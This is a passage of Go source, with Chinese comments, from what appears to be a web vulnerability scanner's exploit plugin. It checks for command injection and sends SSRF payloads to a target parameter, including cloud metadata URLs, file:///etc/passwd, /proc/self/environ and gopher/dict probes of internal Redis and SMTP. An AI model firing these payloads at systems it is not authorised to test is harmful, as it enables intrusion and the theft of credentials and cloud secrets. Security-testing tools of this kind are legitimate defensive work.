					result = "检测到命令注入漏洞，返回了命令执行结果"
					success = true
					break
				}
			}

			// 检查Windows系统命令输出特征
			winCmdPatterns := []string{
				"Volume in drive", "Directory of", "dir", // dir命令输出
				"Windows IP Configuration", "Ethernet adapter", "IPv4 Address", // ipconfig输出
				"User Name", "System Directory", "Windows Directory", // systeminfo部分输出
			}

			for _, pattern := range winCmdPatterns {
				if strings.Contains(bodyText, pattern) {
					result = "检测到命令注入漏洞，返回了Windows命令执行结果"
					success = true
					break
				}
			}

			// 检查时间盲注（针对sleep命令）
			if strings.Contains(p_payload, "sleep") && execTime > 4*time.Second {
				result = "检测到时间延迟，可能存在命令注入漏洞"
				success = true
			}

			if success {
				mutex.Lock()
				vulns = append(vulns, result)
				successPayloads = append(successPayloads, p_payload)
				mutex.Unlock()
			}
		}(payload)
	}

	// 等待所有测试完成
	wg.Wait()

	return vulns, successPayloads, nil
}

// executeFileUpload 执行文件上传漏洞测试
func (p *ExploitPlugin) executeFileUpload(url, param string, cookie string, headers map[string]string) ([]string, []string, error) {
	// 这个函数需要模拟HTTP POST请求，上传文件，不适合简单的GET请求测试
	// 为了示例，我们将返回一个提示信息
	p.logger.Info("[文件上传] 目标: %s 参数: %s - 此类漏洞需要特殊处理，暂不支持自动化测试", url, param)

	// 返回空结果
	return []string{}, []string{}, nil
}

// executeSSRF 执行SSRF漏洞测试
func (p *ExploitPlugin) executeSSRF(url, param string, cookie string, headers map[string]string) ([]string, []string, error) {
	// SSRF测试向量
	payloads := []string{
		"http://127.0.0.1",
		"http://localhost",
		"http://127.0.0.1:22",
		"http://127.0.0.1:3306",
		"http://127.0.0.1:6379",
		"http://127.0.0.1:8080",
		"http://169.254.169.254/latest/meta-data/", // AWS元数据
		"http://169.254.169.254/latest/user-data/", // AWS用户数据
		"http://metadata.google.internal/",         // GCP元数据
		"http://metadata.google.internal/computeMetadata/v1/",
		"file:///etc/passwd",
		"file:///etc/hosts",
		"file:///proc/self/environ",
		"ftp://anonymous:anonymous@127.0.0.1",
		"gopher://127.0.0.1:25/",     // SMTP
		"dict://127.0.0.1:6379/info", // Redis
	}

	// 只在测试开始时打印一次日志
	p.logger.Info("[SSRF] 开始测试 URL: %s 参数: %s 使用 %d 个Payload", url, param, len(payloads))

	var vulns []string
	var successPayloads []string
	var mutex sync.Mutex

	// 使用等待组
	var wg sync.WaitGroup

	// 为每个payload启动一个协程
	for _, payload := range payloads {
		wg.Add(1)
		go func(p_payload string) {
			defer wg.Done()

			fullURL := p.constructURL(url, param, p_payload)

			// 构造请求
			req, err := http.NewRequest("GET", fullURL, nil)
			if err != nil {
				return
			}

			// 添加浏览器UA
			req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")

			// 添加自定义HTTP头
			for name, value := range headers {
				req.Header.Set(name, value)
			}

			// 添加Cookie
			if cookie != "" {
				req.Header.Set("Cookie", cookie)
			}

			// 发送请求
			resp, err := http.DefaultClient.Do(req)
			if err != nil {
				return
			}

			defer resp.Body.Close()

			// 读取响应内容
			body, err := io.ReadAll(resp.Body)
			if err != nil {
				return
			}
			bodyText := string(body)

			// 检查SSRF特征
			success := false
			result := ""

			// 内部服务特征
			ssrfPatterns := map[string]string{
				"<title>Index of /</title>": "检测到Web服务目录列表",
				"<h1>Apache":                "检测到Apache服务器信息",
				"<h1>Nginx":                 "检测到Nginx服务器信息",
				"ssh-":                      "检测到SSH服务Banner",
				"mysql":                     "检测到MySQL数据库信息",
				"redis_version":             "检测到Redis服务信息",
				"instance-id":               "检测到云服务元数据",
				"ami-id":                    "检测到AWS AMI信息",
				"iam":                       "检测到IAM信息",
				"computeMetadata":           "检测到GCP元数据信息",
				"root:":                     "检测到系统用户信息",
				"HTTP/1.1 100":              "检测到HTTP代理响应",
			}

			for pattern, desc := range ssrfPatterns {
				if strings.Contains(bodyText, pattern) {
					result = desc
					success = true
					break
				}
			}

			if success {
				mutex.Lock()
				vulns = append(vulns, result)
				successPayloads = append(successPayloads, p_payload)
				mutex.Unlock()
			}
		}(payload)
	}

	// 等待所有测试完成
	wg.Wait()

	return vulns, successPayloads, nil
}

// executeXXE 执行XXE漏洞测试
func (p *ExploitPlugin) executeXXE(url, param string, cookie string, headers map[string]string) ([]string, []string, error) {
	// XXE测试向量，注意这些需要在POST请求中的XML数据里使用
	// 这里为了示例，我们只返回提示信息
	p.logger.Info("[XXE] 目标: %s 参数: %s - 此类漏洞需要发送XML数据，通常需要POST请求，暂不支持自动化测试", url, param)

	// 返回空结果
	return []string{}, []string{}, nil
}
